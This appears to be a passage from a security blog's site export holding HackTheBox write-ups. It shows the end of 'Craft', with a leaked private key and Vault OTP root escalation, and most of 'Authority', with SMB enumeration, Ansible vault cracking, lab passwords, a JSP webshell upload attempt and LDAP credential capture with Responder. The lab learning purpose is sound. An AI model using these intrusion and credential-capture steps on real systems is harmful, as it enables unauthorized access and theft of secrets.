hRDQnwuWSyl64tJTTxiycSzFdD7puSUK48FlwNOmzF/eROaSSh5oE4REnFdhZcE4TLpZTB a7RfsBrGxpp++Gq48o6meLtKsJQQeZlkLdXwj2gOfPtqG2M4gWNzQ4u2awRP5t9AhGJbNg MIxQ0KLO+nvwAzgxFPSFVYBGcWRR3oH6ZSf+iIzPR4lQw9OsKMLKQilpxC6nSVUPoopU0W Uhn1zhbr+5w5eWcGXfna3QQe3zEHuF3LA5s0W+Ql3nLDpg0oNxnK7nDj2I6T7/qCzYTZnS Z3a9/84eLlb+EeQ9tfRhMCfypM7f7fyzH7FpF2ztY+j/1mjCbrWiax1iXjCkyhJuaX5BRW I2mtcTYb1RbYd9dDe8eE1X+C/7SLRub3qdqt1B0AgyVG/jPZYf/spUKlu91HFktKxTCmHz 6YvpJhnN2SfJC/QftzqZK2MndJrmQ= -----END OPENSSH PRIVATE KEY----- When I try to authenticate with ssh -i id_rsa gilfoyle@10.129.22.88 i get a message \u0026ldquo;Load key \u0026ldquo;id_rsa\u0026rdquo;: error in libcrypto\u0026rdquo;. From what I\u0026rsquo;ve read this can happen when SSH expects an older private key format called PEM. You can easily know which one is which by looking at the first line: New one: -----BEGIN OPENSSH PRIVATE KEY----- Old one: -----BEGIN RSA PRIVATE KEY-----\nLuckily, the key can be formatted easily with ssh-keygen. First let\u0026rsquo;s make a copy of the original with cp id_rsa id_rsa-original and format the copy with ssh-keygen -p -f id_rsa -m PEM. When I tried to run this, I got another error stating Failed to load key id_rsa: error in libcrypto.\nAfter some digging, I found an article stating that the issue was because the user didn\u0026rsquo;t include a newline after the closing line of the key. I went back and raw copied the key from the github. I had two new lines at the end, when I pasted it like so, it worked flawlessly.\nEnumerating the user they don\u0026rsquo;t have any low hanging permissions or rights to take advantage on. Interestingly, I\u0026rsquo;m on the craft.htb host and not db which I suspected was the hostname of the Docker host.\nPrivilege Escalation Vault I looked a bit further and found .vault-token file which contains this token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle. I looked through the filesystem with find / -iname \u0026quot;*vault*\u0026quot; 2\u0026gt;/dev/null and found these files.\n/home/gilfoyle/.vault-token /var/log/vaultssh.log /usr/local/bin/vault /usr/local/bin/vault-ssh-helper /usr/local/etc/vault-ssh-helper.hcl I then ran looked through them manually and greped for key words in them but didn\u0026rsquo;t find anything interesting. I tried to ssh into the port 6022 as maybe that is the vault that is mentioned. The amount of SSH files suggested that but I still can\u0026rsquo;t authenticate there. There are ssh related files and that the whole box is about web requests I decided to run my directory and subdomain enumerations as I canceled them prematurely at the start of the box. I scanned for some time but nothing new came up.\nI looked again through the infra.craft repo and found a folder named vault. as both vault and vault-ssh-helper are in the bin folder I should be able to execute them and see how they work. I can read and list secrets from a vault, the issue is that I don\u0026rsquo;t know the path to it. I tried to do vault list /ssh/roles/root_otp as I saw this path in secrets.sh - didn\u0026rsquo;t work and seemed far fetched. There is a way to use ssh to authenticate into a vault, maybe i can use that token I found before in it. This is the info from the help option:\n# Info from the `help` option SSH using the OTP mode (requires sshpass for full automation): $ vault ssh -mode=otp -role=my-role user@1.2.3.4 SSH using the CA mode: $ vault ssh -mode=ca -role=my-role user@1.2.3.4 SSH using CA mode with host key verification: $ vault ssh \\ -mode=ca \\ -role=my-role \\ -host-key-mount-point=host-signer \\ -host-key-hostnames=example.com \\ user@example.com There are three way to authenticate \u0026ldquo;one time password\u0026rdquo; and two \u0026ldquo;certificate authority\u0026rdquo; modes. Looking at the token I found it looks more like an OTP authentication.\nI reviewed the source code and found these parts interesting:\nvault write ssh/roles/root_otp \\ key_type=otp \\ default_user=root \\ cidr_list=0.0.0.0/0 Token: f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle storage \u0026#34;file\u0026#34; { path = \u0026#34;/vault/data\u0026#34; } ui = false listener \u0026#34;tcp\u0026#34; { address = \u0026#34;0.0.0.0:8200\u0026#34; tls_cert_file = \u0026#34;/vault/pki/vault.craft.htb.crt\u0026#34; tls_key_file = \u0026#34;/vault/pki/vault.craft.htb.key\u0026#34; tls_min_version = \u0026#34;tls12\u0026#34; The first command is the most important one - it creates a role root_otp which can request to get OTPs for root and those request can come from any IP. This represents a lazy admin setup and because of this can get a root access simply by requesting it. The token is an OTP that was used by the user, it showed me what it looks like. The last script shows that the vault is located at /vault/data and that it is listening on all interfaces with HTTPS on the 8200 port.\nTo get the root, I simply ran vault ssh -mode=otp -role=root_otp root@10.129.22.88.\nClosing Thoughts This box was challenging to me, one of the most confusing I worked on. I had little experience until now with working with APIs and creating injections is something I need to practice more. I liked that I challenged myself to write my first working exploit for this box and it helped me to learn and refresh my Python knowledge. Simulation of reading up on a git repo and a really hands on code review was a great learning experience. I never worked with HashiCorp Vault before so this was also interesting - a lot of pivoting as well.\nFor code review and injections I think is important to try to really concentrate, go down the rabbit hole and really try to understand the logic of the mechanism. Sounds trivial I know, but I feel I could save a lot of time by starting with such hard mindset from the beginning.\nPS: I still didn\u0026rsquo;t figure out what was port 6022 used for, so like ¯\\(ツ)/¯\n","date":"04.04.2026","externalUrl":null,"permalink":"/posts/htb/craft/","section":"Posts","summary":"Craft is a challenging box focused on API abuse, code review, and exploitation of insecure application logic. It required careful analysis of a vulnerable API, understanding how user input flows through the system, and leveraging injection techniques to achieve code execution. It was a tough one for sure, but very much worth it.","title":"Craft","type":"posts"},{"content":"","date":"04.04.2026","externalUrl":null,"permalink":"/tags/gogs/","section":"Tags","summary":"","title":"Gogs","type":"tags"},{"content":"","date":"04.04.2026","externalUrl":null,"permalink":"/tags/nc/","section":"Tags","summary":"","title":"Nc","type":"tags"},{"content":"","date":"04.04.2026","externalUrl":null,"permalink":"/tags/pymysql/","section":"Tags","summary":"","title":"Pymysql","type":"tags"},{"content":"","date":"04.04.2026","externalUrl":null,"permalink":"/tags/vault/","section":"Tags","summary":"","title":"Vault","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/addcomputer.py/","section":"Tags","summary":"","title":"Addcomputer.py","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/ansible/","section":"Tags","summary":"","title":"Ansible","type":"tags"},{"content":" Enumeration I didn\u0026rsquo;t get any credentials assumed breach style so I will start with an enumeration.\nnmap Let\u0026rsquo;s start with a simple nmap enumeration.\nsudo nmap -sC -sV -O -Pn 10.129.20.218; sleep 5; sudo nmap -p- -Pn 10.129.20.218; sleep 5; sudo nmap -sU 10.129.20.218 nmap scan results Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 19:17 CEST Nmap scan report for authority.htb.corp (10.129.20.218) Host is up (0.029s latency). Not shown: 986 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-01 21:17:09Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 |_ssl-date: 2026-04-01T21:18:10+00:00; +4h00m00s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-04-01T21:18:10+00:00; +4h00m00s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 |_ssl-date: 2026-04-01T21:18:10+00:00; +4h00m00s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-04-01T21:18:10+00:00; +4h00m00s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 8443/tcp open ssl/http Apache Tomcat (language: en) |_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1). |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=172.16.2.118 | Not valid before: 2026-03-30T14:07:45 |_Not valid after: 2028-04-01T01:46:09 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=4/1%OT=53%CT=1%CU=42908%PV=Y%DS=2%DC=I%G=Y%TM=69CD5352 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=103%TI=I%CI=I%II=I%SS=S%TS=U OS:)SEQ(SP=107%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=108%GCD=1%ISR= OS:108%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=FD%GCD=1%ISR=10E%TI=I%CI=I%II=I%SS=S OS:%TS=U)SEQ(SP=FF%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M4E2NW8NNS OS:%O2=M4E2NW8NNS%O3=M4E2NW8%O4=M4E2NW8NNS%O5=M4E2NW8NNS%O6=M4E2NNS)WIN(W1= OS:FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O= OS:M4E2NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N) OS:T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1( OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI= OS:N%T=80%CD=Z) Network Distance: 2 hops Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 4h00m00s, deviation: 0s, median: 3h59m59s | smb2-time: | date: 2026-04-01T21:18:05 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 69.14 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 19:18 CEST Nmap scan report for authority.htb.corp (10.129.20.218) Host is up (0.029s latency). Not shown: 65506 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 8443/tcp open https-alt 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49673/tcp open unknown 49690/tcp open unknown 49691/tcp open unknown 49693/tcp open unknown 49694/tcp open unknown 49703/tcp open unknown 49714/tcp open unknown 52328/tcp open unknown 59600/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 44.21 seconds From this scan I can see a lot of Windows Domain related ports and a domain name so I will input that info into /etc/hosts with sudo vim /etc/hosts\nSMB Let\u0026rsquo;s start with SMB, I can see that I have access to two shares Development and IPC$ however after accessing the latter I wasn\u0026rsquo;t able to really look into it so let\u0026rsquo;s focus on the first one.\nparrot@parrot (~): netexec smb 10.129.20.218 --shares -u guest -p \u0026#39;\u0026#39; Share Permissions Remark ----- ----------- ------ ADMIN$ Remote Admin C$ Default share Department Shares Development READ IPC$ READ Remote IPC NETLOGON Logon server share SYSVOL Logon server share In Development I found Ansible holding four folders showing basic automation setup. Ansible is a general use, automation tool for admins. I looked through it manually and run some greps to look for passwords, creds, secrets and generally interesting data grep -R \u0026quot;pass\u0026quot;. I found a lot of credentials of many kinds, even a bit of an overwhelming amount. To complete enumeration of possible users I also started a rid bruteforce to check known users on the host. netexec smb 10.129.20.218 -u guest -p '' --rid-brute\nUsers \u0026amp; groups SMB 10.129.20.218 445 AUTHORITY 498: HTB\\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 500: HTB\\Administrator (SidTypeUser) SMB 10.129.20.218 445 AUTHORITY 501: HTB\\Guest (SidTypeUser) SMB 10.129.20.218 445 AUTHORITY 502: HTB\\krbtgt (SidTypeUser) SMB 10.129.20.218 445 AUTHORITY 512: HTB\\Domain Admins (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 513: HTB\\Domain Users (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 514: HTB\\Domain Guests (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 515: HTB\\Domain Computers (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 516: HTB\\Domain Controllers (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 517: HTB\\Cert Publishers (SidTypeAlias) SMB 10.129.20.218 445 AUTHORITY 518: HTB\\Schema Admins (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 519: HTB\\Enterprise Admins (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 520: HTB\\Group Policy Creator Owners (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 521: HTB\\Read-only Domain Controllers (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 522: HTB\\Cloneable Domain Controllers (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 525: HTB\\Protected Users (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 526: HTB\\Key Admins (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 527: HTB\\Enterprise Key Admins (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 553: HTB\\RAS and IAS Servers (SidTypeAlias) SMB 10.129.20.218 445 AUTHORITY 571: HTB\\Allowed RODC Password Replication Group (SidTypeAlias) SMB 10.129.20.218 445 AUTHORITY 572: HTB\\Denied RODC Password Replication Group (SidTypeAlias) SMB 10.129.20.218 445 AUTHORITY 1000: HTB\\AUTHORITY$ (SidTypeUser) SMB 10.129.20.218 445 AUTHORITY 1101: HTB\\DnsAdmins (SidTypeAlias) SMB 10.129.20.218 445 AUTHORITY 1102: HTB\\DnsUpdateProxy (SidTypeGroup) SMB 10.129.20.218 445 AUTHORITY 1601: HTB\\svc_ldap (SidTypeUser) A bit surprising, there are no real users, maybe besides svc_ldap.\nDNS After that, I went and looked into DNS to learn more about the domain itself. I didn\u0026rsquo;t find much interesting information but I did notice that the name server was marked as authority.authority.htb which is a weird naming convention, nonetheless I added it to the /etc/hosts.\ndig @authority.htb.comp 10.129.20.218 NS \u0026lt;SNIP\u0026gt; ;; ANSWER SECTION: authority.htb.\t3600\tIN\tNS\tauthority.authority.htb. HTTP port leads only to the default IIS website. I didn\u0026rsquo;t enumerate directories or subdomains, however it could be a good option if I wouldn\u0026rsquo;t find other promising vectors to pivot.\nIn Tomcat, I was greeted with this notice\nPWM is currently in configuration mode. This mode allows updating the configuration without authenticating to an LDAP directory first. End user functionality is not available in this mode. After you have verified the LDAP directory settings, use the Configuration Manager to restrict the configuration to prevent unauthorized changes. After restricting, the configuration can still be changed but will require LDAP directory authentication first. PWM is a pretty popular authentication tool for Tomcat. It\u0026rsquo;s clearly is not setup correctly and it doesn\u0026rsquo;t allow me to use LDAP to authenticate. Due to it being in the configuration mode, there are other ways to authenticate.\nWithin them, I see another user, and another IP.\nCN=svc_pwm,CN=Users,DC=htb,DC=corp (default) March 26, 2023 at 1:20:39 PM GMT 10.129.204.183 n/a April 23, 2023 at 10:06:34 PM GMT I can\u0026rsquo;t sign-in to the tomcat itself because and I get prompted with this information.\nDirectory unavailable. If this error occurs repeatedly please contact your help desk. 5017 ERROR_DIRECTORY_UNAVAILABLE (all ldap profiles are unreachable; errors: [\u0026#34;error connecting as proxy user: unable to create connection: unable to connect to any configured ldap url, last error: unable to bind to ldaps://authority.authority.htb:636 as CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb reason: CommunicationException (authority.authority.htb:636; PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target)\u0026#34;]) I also can\u0026rsquo;t sign-in to the configuration page - I get the following error.\nPassword incorrect. Please try again.\u0026amp;lt;span class=\u0026#34;errorDetail\u0026#34;\u0026amp;gt; { 5089 ERROR_PASSWORD_ONLY_BAD }\u0026amp;lt;/span\u0026amp;gt;\u0026lt;span class=\u0026#34;errorDetail\u0026#34;\u0026gt; { 5089 ERROR_PASSWORD_ONLY_BAD }\u0026lt;/span\u0026gt; { 5089 ERROR_PASSWORD_ONLY_BAD } 5089 ERROR_PASSWORD_ONLY_BAD After trying multiple combinations of credentials I went back into the Ansible files which I downloaded locally with prompt OFF, recurse ON and mget * within the smbclient. In the PWM folder I found these hashes which turned out to be encrypted ansible blobs. Ansible blobs pwm_admin_login: !vault | $ANSIBLE_VAULT;1.1;AES256 32666534386435366537653136663731633138616264323230383566333966346662313161326239 6134353663663462373265633832356663356239383039640a346431373431666433343434366139 35653634376333666234613466396534343030656165396464323564373334616262613439343033 6334326263326364380a653034313733326639323433626130343834663538326439636232306531 3438 pwm_admin_password: !vault | $ANSIBLE_VAULT;1.1;AES256 31356338343963323063373435363261323563393235633365356134616261666433393263373736 3335616263326464633832376261306131303337653964350a363663623132353136346631396662 38656432323830393339336231373637303535613636646561653637386634613862316638353530 3930356637306461350a316466663037303037653761323565343338653934646533663365363035 6531 ldap_uri: ldap://127.0.0.1/ ldap_base_dn: \u0026quot;DC=authority,DC=htb\u0026quot; ldap_admin_password: !vault | $ANSIBLE_VAULT;1.1;AES256 63303831303534303266356462373731393561313363313038376166336536666232626461653630 3437333035366235613437373733316635313530326639330a643034623530623439616136363563 34646237336164356438383034623462323531316333623135383134656263663266653938333334 3238343230333633350a646664396565633037333431626163306531336336326665316430613566 3764 It turns out, it\u0026rsquo;s possible to crack them up with ansible2john, however it took some editing. This video helped me to make sure my syntax worked with hashcat. I then users hashcat -m 16900 to crack them and I got !@#$%^\u0026amp;*. I wasn\u0026rsquo;t able to find the one specific vault, I only found the file the hashes were in using grep -R \u0026quot;$ANSIBLE_VAULT;1.1;AES256\u0026quot; (each ansible vault does start with this specific string). After that I just went over each hash file and decrypt it with ansible-vault view ansible1.hash --vault-password-file ansible-vault.pass. A note to take for sure is that Ansible is pretty picky with its syntax.\nAfter the decryption we got the following information.\npwm_admin_login: svc_pwm pwm_admin_password: pWm_@dm!N_!23 ldap_admin_password: DevT3st@123 Foothold svc_pwm With them, I wasn\u0026rsquo;t able to auth into LDAP of course, but I could enter the PWN login.\nAfter I looked through the dashboard I noticed I was able to download a copy of the local database called PWM-LocalDB.bak. From the configuration files and my instinct I think the point of the authority.authority.htb is just to make tomcat misconfigured and simply changing it to authority.htb would fix the issue. If there will not be any interesting data in the database itself, there is also a way to upload a database. We know that the file would go into c:\\pwm\\LocalDB which could be used for a webshell if the file verification is weak.\nThe process to extract data from the MSSQL backup binary on Linux would be quite hard, I will leave it for the time being and try that webshell idea first. As this runs Tomcat which uses Java I should look into Java JSP or maybe lastly ASP shells.\nI tried to install a rev_shell with the .jsp extension, PWN does require it to be a GZIP format. I tried double extensions, changing the extension in BurpSuite as well as adjusting the content-type however I wasn\u0026rsquo;t able to upload it.\nI moved around and found that there are another import/upload options for the configuration file itself. I downloaded the configuration file and looked through it. Below are some very interesting finds. Configuration file finds \u0026lt;property key=\u0026quot;configPasswordHash\u0026quot;\u0026gt; $2a$10$gC/eoR5DVUShlZV4huYlg.L2NtHHmwHIxF3Nfid7FfQLoh17Nbnua \u0026lt;/property\u0026gt; \u0026lt;value\u0026gt; CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb \u0026lt;/value\u0026gt; \u0026lt;value\u0026gt; ENC-PW:2G7ASAs2W4Y/XTfVMSsRtxxneQpeWaKaQaNsaIToSKlyqC1dVT2VXcqc1h3SiYtMTYfsZfkLaNHbjGfbQldz5EW7BqPxGqzMz+bEfyPIvA8= \u0026lt;/value\u0026gt; \u0026lt;setting key=\u0026quot;pwm.securityKey\u0026quot; modifyTime=\u0026quot;2022-08-11T01:46:23Z\u0026quot; syntax=\u0026quot;PASSWORD\u0026quot; syntaxVersion=\u0026quot;0\u0026quot;\u0026gt; \u0026lt;label\u0026gt; Settings ⇨ Security ⇨ Application Security ⇨ Security Key \u0026lt;/label\u0026gt; \u0026lt;value\u0026gt; ENC-PW:7AJ39Hy6+a56Y3ppsO0J0KIXAFF7CBwO5IBODlXvH5gSmELLNpTgnWcbu5s/vU4JKue/Um6dkZm1RrcECBHk358zc045rDyFL2fDku2kusl79NE+Tww8gC8QQ0CX+VS2yyD46+ZS6Jriyu1Y7BOXnJifXXXsHzTmBTkodvnY33V6Puc0Zze0PGYHN+CGFtx/g5WaBTQbQwZwNLA+8Qe11GqCz+rBjGzQp0w6yLHJn+ZYBlLWgvZwN2KUHOiUIq5eKKDgjv+mga4zcB1STcpMJRaIiSnLdY3VCfsEj6p4BGz9jj+N7gQHBFAvI05JexXq8HyL7ZUEzLXU5FMQXvhhWSbhxoz7LH/iamvoOg13WnI3MRUzrXv91Uh7gdNZuXa1NmSBOe/g1GgmFV+0sxLIJ/99VT+GHIwrfjPNNV6jtKHhURPwp0a38c6aBGjpvB3AgAoZ0/KVLvQK1pAevO4NK2XFF2nPD8gQCQJMCsb62I+XMitkO2zKytrYEwZhl9VUGF0bAXQhC5I9xX1tEQAGBcENt1NGfM8iE+PlrZWwlr1yDjw+GZEm2KHyjnUFpBubqD7l7mvEJbEV26SQkR0v4R5LSEPbElOKGbGXMKkDEi53SQ5P0ZZQbega9XtBOHs+/s1EZ4p/qGVCvpD9dgc0SyS0auXU0PUddjxyXthHdqRbEWHhAduXYQgXF0eM2yWlbd7fTgSUMERlpjdFX/QZG3D6Ghp+iOCwfelEfKMQDO1myQcpq5YTE94YDz+aSWvi7ZGRIq+hRkwuR8E0EbEUE7CApDwF3LjGi+UEd9Y3Q9SPSMVxg4Ra2FB4sYCT19N7KV3TpGvJYD4SE8Mrn0cH9ihvlvDJFOxoLC9xM8FA9EAvSZN1w6lV4pUsVpUSM0LRKLqCmBCRJvaRNbhRymM96NFSSi4PwCCJQ7WVJjiS+oLQ+7qwHhqLQFy0+gtkGSQnBoq1FMYSCyGz/fUG84Xe0CSTPt4SwTq+L2M2jqsiB+HXq1z2LdkAFo6xm1Mqs6H/x5ZP1esjvRxDzHod31jRizu+rJw4LNRb172A36dQWmiq/OJQBJrnPu87s+KmoNyCJGrT2+1QttMgM62qy2/Eb6xByQ8RiLl6v87vf24TuWhxJhXfNWMRuHXJp2IWt5BWAYdiQNUjCuvRhfiyxsIqelpEpsOnm8WDVEsN0hqaEt9Db2e/d3Wpx1as4luVtA/MZtKy+gsH0qZUmouj7LCfN5TJpm00MiBTxYSkapKvAGchkE4UVc3AHGIxeyy+t2LwqT9fDSlS/VofOELNcQD3OfPi+asOrgaqcRbZVXdQumoJsubLMiPpHTZtOH2Nt13cEh9ZG/XebrAkchsMjsyLo5KX0nL6RKbMNUA3BmM2cd+bjj+Jar2aeAeqBdW+LU5ALshAsF986N1BGSsQ8aZkJwLi3PUYG8vGR88ZqEMMziQ= \u0026lt;/value\u0026gt; \u0026lt;/setting\u0026gt; Given that the found user is svc_ldap I think this is the path I should follow further. We got an encrypted hash of a password as well as a security key of some kind, let\u0026rsquo;s read up on them. So form I have gathered: This is a bcrypt password hash $2a$10$gC/eoR5DVUShlZV4huYlg.L2NtHHmwHIxF3Nfid7FfQLoh17Nbnua\nThis is a PWM master key\n7AJ39Hy6+a56Y3ppsO0J0KIXAFF7CBwO5IBODlXvH5gSmELLNpTgnWcbu5s/vU4JKue/Um6dkZm1RrcECBHk358zc045rDyFL2fDku2kusl79NE+Tww8gC8QQ0CX+VS2yyD46+ZS6Jriyu1Y7BOXnJifXXXsHzTmBTkodvnY33V6Puc0Zze0PGYHN+CGFtx/g5WaBTQbQwZwNLA+8Qe11GqCz+rBjGzQp0w6yLHJn+ZYBlLWgvZwN2KUHOiUIq5eKKDgjv+mga4zcB1STcpMJRaIiSnLdY3VCfsEj6p4BGz9jj+N7gQHBFAvI05JexXq8HyL7ZUEzLXU5FMQXvhhWSbhxoz7LH/iamvoOg13WnI3MRUzrXv91Uh7gdNZuXa1NmSBOe/g1GgmFV+0sxLIJ/99VT+GHIwrfjPNNV6jtKHhURPwp0a38c6aBGjpvB3AgAoZ0/KVLvQK1pAevO4NK2XFF2nPD8gQCQJMCsb62I+XMitkO2zKytrYEwZhl9VUGF0bAXQhC5I9xX1tEQAGBcENt1NGfM8iE+PlrZWwlr1yDjw+GZEm2KHyjnUFpBubqD7l7mvEJbEV26SQkR0v4R5LSEPbElOKGbGXMKkDEi53SQ5P0ZZQbega9XtBOHs+/s1EZ4p/qGVCvpD9dgc0SyS0auXU0PUddjxyXthHdqRbEWHhAduXYQgXF0eM2yWlbd7fTgSUMERlpjdFX/QZG3D6Ghp+iOCwfelEfKMQDO1myQcpq5YTE94YDz+aSWvi7ZGRIq+hRkwuR8E0EbEUE7CApDwF3LjGi+UEd9Y3Q9SPSMVxg4Ra2FB4sYCT19N7KV3TpGvJYD4SE8Mrn0cH9ihvlvDJFOxoLC9xM8FA9EAvSZN1w6lV4pUsVpUSM0LRKLqCmBCRJvaRNbhRymM96NFSSi4PwCCJQ7WVJjiS+oLQ+7qwHhqLQFy0+gtkGSQnBoq1FMYSCyGz/fUG84Xe0CSTPt4SwTq+L2M2jqsiB+HXq1z2LdkAFo6xm1Mqs6H/x5ZP1esjvRxDzHod31jRizu+rJw4LNRb172A36dQWmiq/OJQBJrnPu87s+KmoNyCJGrT2+1QttMgM62qy2/Eb6xByQ8RiLl6v87vf24TuWhxJhXfNWMRuHXJp2IWt5BWAYdiQNUjCuvRhfiyxsIqelpEpsOnm8WDVEsN0hqaEt9Db2e/d3Wpx1as4luVtA/MZtKy+gsH0qZUmouj7LCfN5TJpm00MiBTxYSkapKvAGchkE4UVc3AHGIxeyy+t2LwqT9fDSlS/VofOELNcQD3OfPi+asOrgaqcRbZVXdQumoJsubLMiPpHTZtOH2Nt13cEh9ZG/XebrAkchsMjsyLo5KX0nL6RKbMNUA3BmM2cd+bjj+Jar2aeAeqBdW+LU5ALshAsF986N1BGSsQ8aZkJwLi3PUYG8vGR88ZqEMMziQ= This is a PWM encrypted password 2G7ASAs2W4Y/XTfVMSsRtxxneQpeWaKaQaNsaIToSKlyqC1dVT2VXcqc1h3SiYtMTYfsZfkLaNHbjGfbQldz5EW7BqPxGqzMz+bEfyPIvA8=\nI don\u0026rsquo;t know how to decrypt the PWM\u0026rsquo;s blob with the master key, so I will go first with the bcrypt. I added it into a file and ran hashcat -m 3200 pwm.bcrypt /usr/share/wordlists/rockyou.txt When I started to decrypt it it showed me it will over a day (bcrypt is designed to be hard to crack). In turn, I will use a much smaller wordlists and look for other ways to pivot.\nThere are ways to decrypt the encrypted blob but I don\u0026rsquo;t want to run unsure git tools and GPT\u0026rsquo;s recommendations are similarly uncertain.\nsvc_ldap Looking for other options I just realized that configuration \u0026ldquo;Manager\u0026rdquo; and \u0026ldquo;Editor\u0026rdquo; are not the same thing. There is a lot of data and settings in the editor that seem like interesting vectors.\nIn the configuration file I downloaded from the manager I tried to derive the password and found out that svc_ldap is the proxy username. I can see the same information in the editor however I can change it there. I can see, that LDAP is running in LDAPS. I wonder If i change it will i break the box or will I be able to pull some unencrypted data from the configuration.xml this time.\nI changed ldaps://authority.authority.htb:636 to ldap://authority.authority.htb:389, saved the changes, went into the manager and collected the configuration file but it didn\u0026rsquo;t change it then. As the editor allows us to change the LDAP URL as well as the protocol itself. I decided to try and spit up Responder with sudo responder -I tun0 and after I edited the details and saved the changes I clicked \u0026ldquo;Test LDAP Profile\u0026rdquo;.\nThis caused the website to authenticate to my server and because I changed it from LDAPS to LDAP password came in clear text.\n[LDAP] Cleartext Client : 10.129.20.218 [LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb [LDAP] Cleartext Password : lDaP_1n_th3_cle4r! Then, I checked if I can authenticate to anything with the new credentials using netexec.\nnetexec smb 10.129.20.218 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'\nnetexec winrm 10.129.20.218 -u 'svc_ldap' -p 